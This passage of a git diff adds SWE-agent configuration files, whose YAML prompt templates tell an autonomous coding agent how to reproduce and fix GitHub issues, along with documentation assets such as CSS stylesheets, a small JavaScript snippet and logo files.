running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + IMPORTANT TIPS: + 1. Always start by trying to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {{demonstration}} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__default_sys-env_window100__t-0.20__p-0.95__c-2.00__install-1/marshmallow-code__marshmallow-1867.traj + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_linting + - path: tools/submit + parse_function: + type: thought_action + history_processors: + - type: last_n_observations + n: 5 diff --git a/config/sweagent_0_7/07_fcalling.yaml b/config/sweagent_0_7/07_fcalling.yaml new file mode 100644 index 0000000..dfaa087 --- /dev/null +++ b/config/sweagent_0_7/07_fcalling.yaml @@ -0,0 +1,100 @@ +# This config shows the use of the function calling action parser together with the line-range based replace tools +# This config is close to SWE-agent 0.7 +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use specific commands to help you navigate and edit files. + To call a command, you need to invoke it with a function call/tool call. + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + If you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) + (Current directory: ) + bash-$ + + First, you should _always_ include a general thought about what you're going to do next. + Then, for every response, you must include exactly _ONE_ tool call/function call. + + Remember, you should always include a _SINGLE_ tool call/function call and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first tool call, and then after receiving a response you'll be able to issue the second tool call. + Note that the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU SHOULD ALWAYS INCLUDE EXACTLY ONE TOOL CALL/FUNCTION CALL PER RESPONSE. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with the python .py`. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + IMPORTANT TIPS: + 1. Always start by trying to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + 7. Do not try to install any packages with `pip`, `conda`, or any other way. This will usually not work. If the environment is not set up correctly, try to fix the issue without executing python code or running any tests that require the package installed. + + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {{demonstration}} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__function_calling__install-1/marshmallow-code__marshmallow-1867.traj + put_demos_in_history: true + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_linting + - path: tools/submit + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: last_n_observations + n: 5 diff --git a/config/sweagent_0_7/07_from_url.yaml b/config/sweagent_0_7/07_from_url.yaml new file mode 100644 index 0000000..dac0c5d --- /dev/null +++ b/config/sweagent_0_7/07_from_url.yaml @@ -0,0 +1,114 @@ +# This config is close to SWE-agent 0.7, i.e., using the line-range based replace edit tools. +# This config was specifically used to be pointed to an arbitrary github issue rather than for benchmarking. +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use specific commands to help you navigate and edit files. + To call a command, you need to invoke it with a function call/tool call. + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + + For example, if you are looking at this file: + + def fct(): + print("Hello world") + + and you want to edit the file to read: + + def fct(): + print("Hello") + print("world") + + you search string should be `Hello world` and your replace string should be `"Hello"\n print("world")` + (note the extra spaces before the print statement!). + + You could also get the same result by search for ` print("Hello world")` and replace with ` print("Hello")\n print("world")`. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) + (Current directory: ) + bash-$ + + First, you should _always_ include a general thought about what you're going to do next. + Then, for every response, you must include exactly _ONE_ tool call/function call. + + Remember, you should always include a _SINGLE_ tool call/function call and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first tool call, and then after receiving a response you'll be able to issue the second . + Note that the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU SHOULD ALWAYS INCLUDE EXACTLY ONE TOOL CALL/FUNCTION CALL PER RESPONSE. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with the python command. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + IMPORTANT TIPS: + 1. Always start by trying to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 6. When editing files, it is easy to accidentally to write code with incorrect indentation or make other mistakes. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + 7. It may be necessary to install the repository from source before you can run code. Please think about how to install the environment from the repository directory if you need to do so. + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {{demonstration}} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__function_calling_replace_from_source/marshmallow-code__marshmallow-1867.traj + put_demos_in_history: true + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_replace + - path: tools/submit + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: last_n_observations + n: 5 \ No newline at end of file diff --git a/config/sweagent_0_7/07_thought_action.yaml b/config/sweagent_0_7/07_thought_action.yaml new file mode 100644 index 0000000..852aa5d --- /dev/null +++ b/config/sweagent_0_7/07_thought_action.yaml @@ -0,0 +1,102 @@ +# This config shows the use of the thought_action action parser together with the line-range based replace tools +# This config is close to SWE-agent 0.7 +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use the following commands to help you navigate and edit files. + + COMMANDS: + {{command_docs}} + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + If you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) $ + + You need to format your output using two fields; discussion and command. + Your output should always include _one_ discussion and _one_ command field EXACTLY as in the following example: + DISCUSSION + First I'll start by using ls to see what files are in the current directory. Then maybe we can look at some relevant files to see what they look like. + ``` + ls -a + ``` + + You should only include a *SINGLE* command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command. + You're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above. + However, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + IMPORTANT TIPS: + 1. Always start by trying to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstration_template: | + Here is a demonstration of how to correctly accomplish this task. + It is included to show you how to correctly use the interface. + You do not need to follow exactly what is done in the demonstration. + --- DEMONSTRATION --- + {{demonstration}} + --- END OF DEMONSTRATION --- + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__default_sys-env_window100__t-0.20__p-0.95__c-2.00__install-1/marshmallow-code__marshmallow-1867.traj + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_linting + - path: tools/submit + parse_function: + type: thought_action + history_processors: + - type: last_n_observations + n: 5 diff --git a/config/sweagent_0_7/07_thought_action_xml.yaml b/config/sweagent_0_7/07_thought_action_xml.yaml new file mode 100644 index 0000000..b089e7c --- /dev/null +++ b/config/sweagent_0_7/07_thought_action_xml.yaml @@ -0,0 +1,96 @@ +# This config shows the use of the thought action xml parser together with the line-range based replace tools +# This config is close to SWE-agent 0.7 +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use the following commands to help you navigate and edit files. + + COMMANDS: + {{command_docs}} + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + If you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) $ + + You need to format your output using two fields; discussion and command. + Your output should always include _one_ discussion and _one_ command field EXACTLY as in the following example: + DISCUSSION + First I'll start by using ls to see what files are in the current directory. Then maybe we can look at some relevant files to see what they look like. + + ls -a + + + You should only include a *SINGLE* command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command. + You're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above. + However, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with `python .py`. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + IMPORTANT TIPS: + 1. Always start by trying to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 2. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 3. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 4. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 5. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 6. When editing files, it is easy to accidentally specify a wrong line number or to write code with incorrect indentation. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__xml_sys-env_window100__t-0.20__p-0.95__c-2.00__install-1/marshmallow-code__marshmallow-1867.traj + put_demos_in_history: true + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_linting + - path: tools/submit + parse_function: + type: xml_thought_action + history_processors: + - type: last_n_observations + n: 5 diff --git a/docs/CNAME b/docs/CNAME new file mode 100644 index 0000000..28d39af --- /dev/null +++ b/docs/CNAME @@ -0,0 +1 @@ +swe-agent.com diff --git a/docs/README.md b/docs/README.md new file mode 100644 index 0000000..f508460 --- /dev/null +++ b/docs/README.md @@ -0,0 +1,10 @@ +# SWE-agent + +
+ SWE-agent banner +
+ +🔗 Simply want to read the docs? Please head to [the web version of these docs](https://swe-agent.com/latest/) + +This folder holds the source for the SWE-agent documentation. +Want to modify and build the website locally? See [here](https://swe-agent.com/latest/dev/contribute#mkdocs). diff --git a/docs/_footer.md b/docs/_footer.md new file mode 100644 index 0000000..f26eb65 --- /dev/null +++ b/docs/_footer.md @@ -0,0 +1,21 @@ +
+ +
+
+ bug_report + Something broken/unclear? +
+

Open an issue on GitHub!

+
+ + + +
+
+ help + Open-ended discussions +
+

Join our Slack!

+
+ +
diff --git a/docs/assets/architecture.png b/docs/assets/architecture.png new file mode 100644 index 0000000..062b5a9 Binary files /dev/null and b/docs/assets/architecture.png differ diff --git a/docs/assets/batch_animated.gif b/docs/assets/batch_animated.gif new file mode 100644 index 0000000..9007a6d Binary files /dev/null and b/docs/assets/batch_animated.gif differ diff --git a/docs/assets/bubbles.css b/docs/assets/bubbles.css new file mode 100644 index 0000000..205b14e --- /dev/null +++ b/docs/assets/bubbles.css @@ -0,0 +1,83 @@ +/* Floating bubbles styles */ +.floating-bubbles { + position: fixed; + bottom: 20px; + right: 20px; + display: flex; + flex-direction: column; + gap: 10px; + z-index: 1000; +} + +.floating-bubbles-title { + position: absolute; + top: -30px; + right: 0; + font-size: 12px; + color: #777; + text-align: right; + font-weight: bold; + opacity: 0; + visibility: hidden; + transition: + opacity 0.3s ease, + visibility 0.3s ease; + white-space: nowrap; +} + +.floating-bubbles:hover .floating-bubbles-title { + opacity: 1; + visibility: visible; +} + +.bubble { + width: 40px; + height: 40px; + display: flex; + justify-content: center; + align-items: center; + position: relative; + transition: transform 0.3s ease; +} + +.bubble:hover { + transform: scale(1.1); +} + +.bubble img { + width: 40px; + height: 40px; +} + +.bubble-tooltip { + position: absolute; + right: 60px; + background-color: #333; + color: white; + padding: 5px 10px; + border-radius: 4px; + font-size: 14px; + white-space: nowrap; + opacity: 0; + visibility: hidden; + transition: + opacity 0.3s ease, + visibility 0.3s ease; +} + +.bubble:hover .bubble-tooltip { + opacity: 1; + visibility: visible; +} + +.floating-bubbles:hover .bubble-tooltip { + opacity: 1; + visibility: visible; +} + +/* Hide on mobile */ +@media (max-width: 768px) { + .floating-bubbles { + display: none; + } +} diff --git a/docs/assets/custom.css b/docs/assets/custom.css new file mode 100644 index 0000000..5818628 --- /dev/null +++ b/docs/assets/custom.css @@ -0,0 +1,37 @@ +[data-md-color-scheme="default"] { + --md-default-bg-color: #fff7ec; + --md-primary-fg-color: #000000; + --md-typeset-a-color: #0099ff; + --md-code-bg-color: #e7e7e7; +} + +[data-md-color-scheme="slate"] { + --md-primary-fg-color: #000000; + --md-default-fg-color: #fff7ec; + --md-default-bg-color: #111111; +} + +.clickable-banner { + color: #000000; +} + +.md-main__inner.md-grid, +.md-grid { + max-width: 64rem; +} + +@media screen and (min-width: 1220px) { + .md-main__inner.md-grid, + .md-grid { + max-width: 64rem; + } +} + +.md-typeset h1, +.md-typeset h2, +.md-typeset h3 { + font-weight: 400; + color: var( + --md-primary-fg-color-dark + ); /* this actually works for both light and dark themes */ +} diff --git a/docs/assets/favicon.ico b/docs/assets/favicon.ico new file mode 100644 index 0000000..b3342de Binary files /dev/null and b/docs/assets/favicon.ico differ diff --git a/docs/assets/image_theme.css b/docs/assets/image_theme.css new file mode 100644 index 0000000..9dd9f10 --- /dev/null +++ b/docs/assets/image_theme.css @@ -0,0 +1,11 @@ +.dark-mode-only { + display: none !important; +} + +[data-md-color-scheme="slate"] .dark-mode-only { + display: inline-block !important; +} + +[data-md-color-scheme="slate"] .light-mode-only { + display: none !important; +} diff --git a/docs/assets/inspector_1.png b/docs/assets/inspector_1.png new file mode 100644 index 0000000..c0f5f80 Binary files /dev/null and b/docs/assets/inspector_1.png differ diff --git a/docs/assets/inspector_2.png b/docs/assets/inspector_2.png new file mode 100644 index 0000000..c3bd275 Binary files /dev/null and b/docs/assets/inspector_2.png differ diff --git a/docs/assets/js/sh-annotation.js b/docs/assets/js/sh-annotation.js new file mode 100644 index 0000000..0e2e0ae --- /dev/null +++ b/docs/assets/js/sh-annotation.js @@ -0,0 +1,11 @@ +// Source: https://github.com/srl-labs/learn-srlinux/pull/133/files +// this script is used to remove extra leading space when annotating shell code blocks ending with `\` +// character. See https://github.com/squidfunk/mkdocs-material/issues/3846 for more info. +document$.subscribe(() => { + const tags = document.querySelectorAll("code .se"); + tags.forEach((tag) => { + if (tag.innerText.startsWith("\\")) { + tag.innerText = "\\"; + } + }); +}); diff --git a/docs/assets/mini_logo.svg b/docs/assets/mini_logo.svg new file mode 100644 index 0000000..875ea64 --- /dev/null +++ b/docs/assets/mini_logo.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/docs/assets/mini_logo_text_below.svg b/docs/assets/mini_logo_text_below.svg new file mode 100644 index 0000000..9df8bf4 --- /dev/null +++ b/docs/assets/mini_logo_text_below.svg @@ -0,0 +1,7 @@ + + + + + + + diff --git a/docs/assets/mkdocstrings.css b/docs/assets/mkdocstrings.css new file mode 100644 index 0000000..149ba24 --- /dev/null +++ b/docs/assets/mkdocstrings.css @@ -0,0 +1,16 @@ +/* From https://mkdocstrings.github.io/python/usage/customization/#symbol-types */ +[data-md-color-scheme="default"] { + --doc-symbol-parameter-fg-color: #df50af; + --doc-symbol-attribute-fg-color: #0079ff; + --doc-symbol-function-fg-color: #00dfa2; + --doc-symbol-method-fg-color: #00dfa2; + --doc-symbol-class-fg-color: #d1b619; + --doc-symbol-module-fg-color: #ff0060; + + --doc-symbol-parameter-bg-color: #df50af1a; + --doc-symbol-attribute-bg-color: #0079ff1a; + --doc-symbol-function-bg-color: #00dfa21a; + --doc-symbol-method-bg-color: #00dfa21a; + --doc-symbol-class-bg-color: #d1b6191a; + --doc-symbol-module-bg-color: #ff00601a; +} diff --git a/docs/assets/navigation_cards.css b/docs/assets/navigation_cards.css new file mode 100644 index 0000000..1e032f1 --- /dev/null +++ b/docs/assets/navigation_cards.css @@ -0,0 +1,43 @@ +/* Navigation cards styling */ +.nav-card-link { + text-decoration: none; + color: inherit; + display: block; +} + +.nav-card { + padding: 1rem; + border: 1px solid var(--md-default-fg-color--lighter); + border-radius: 0.5rem; + transition: + box-shadow 0.2s, + transform 0.2s; +} + +.nav-card:hover { + box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); + transform: translateY(-2px); +} + +.nav-card-header { + display: flex; + align-items: center; + margin-bottom: 0.5rem; +} + +.nav-card-icon { + margin-right: 0.5rem; + font-size: 1.2rem; + color: var(--md-default-fg-color); +} + +.nav-card-description { + margin: 0; + color: var(--md-default-fg-color--light); +} + +.nav-card-title { + margin: 0; + font-weight: bold; + color: var(--md-default-fg-color); +} diff --git a/docs/assets/open_port_default.png b/docs/assets/open_port_default.png new file mode 100644 index 0000000..16f1c97 Binary files /dev/null and b/docs/assets/open_port_default.png differ diff --git a/docs/assets/open_port_in_browser.png b/docs/assets/open_port_in_browser.png new file mode 100644 index 0000000..c34d165 Binary files /dev/null and b/docs/assets/open_port_in_browser.png differ diff --git a/docs/assets/readme_assets b/docs/assets/readme_assets new file mode 120000 index 0000000..41aef43 --- /dev/null +++ b/docs/assets/readme_assets @@ -0,0 +1 @@ +../../assets \ No newline at end of file diff --git a/docs/assets/sbcli_logo.svg b/docs/assets/sbcli_logo.svg new file mode 100644 index 0000000..eabde96 --- /dev/null +++ b/docs/assets/sbcli_logo.svg @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/docs/assets/sbcli_logo_text_below.svg b/docs/assets/sbcli_logo_text_below.svg new file mode 100644 index 0000000..893e7b0 --- /dev/null +++ b/docs/assets/sbcli_logo_text_below.svg @@ -0,0 +1,53 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/swe-agent.svg b/docs/assets/swe-agent.svg new file mode 100644 index 0000000..0bee35f --- /dev/null +++ b/docs/assets/swe-agent.svg @@ -0,0 +1,184 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/sweagent_logo_text_below.svg b/docs/assets/sweagent_logo_text_below.svg new file mode 100644 index 0000000..458c25b --- /dev/null +++ b/docs/assets/sweagent_logo_text_below.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/docs/assets/swebench_logo.png b/docs/assets/swebench_logo.png new file mode 100644 index 0000000..0d8acd4 Binary files /dev/null and b/docs/assets/swebench_logo.png differ diff --git a/docs/assets/swebench_logo_text_below.svg b/docs/assets/swebench_logo_text_below.svg new file mode 100644 index 0000000..ee6090f --- /dev/null +++ b/docs/assets/swebench_logo_text_below.svg @@ -0,0 +1,52 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/swerex_logo.svg b/docs/assets/swerex_logo.svg new file mode 100644 index 0000000..51bc5fe --- /dev/null +++ b/docs/assets/swerex_logo.svg @@ -0,0 +1,38 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/swerex_logo_text_below.svg b/docs/assets/swerex_logo_text_below.svg new file mode 100644 index 0000000..5f96a87 --- /dev/null +++ b/docs/assets/swerex_logo_text_below.svg @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/assets/swesmith_logo.png b/docs/assets/swesmith_logo.png new file mode 100644 index 0000000..1e5766f Binary files /dev/null and b/docs/assets/swesmith_logo.png differ diff --git 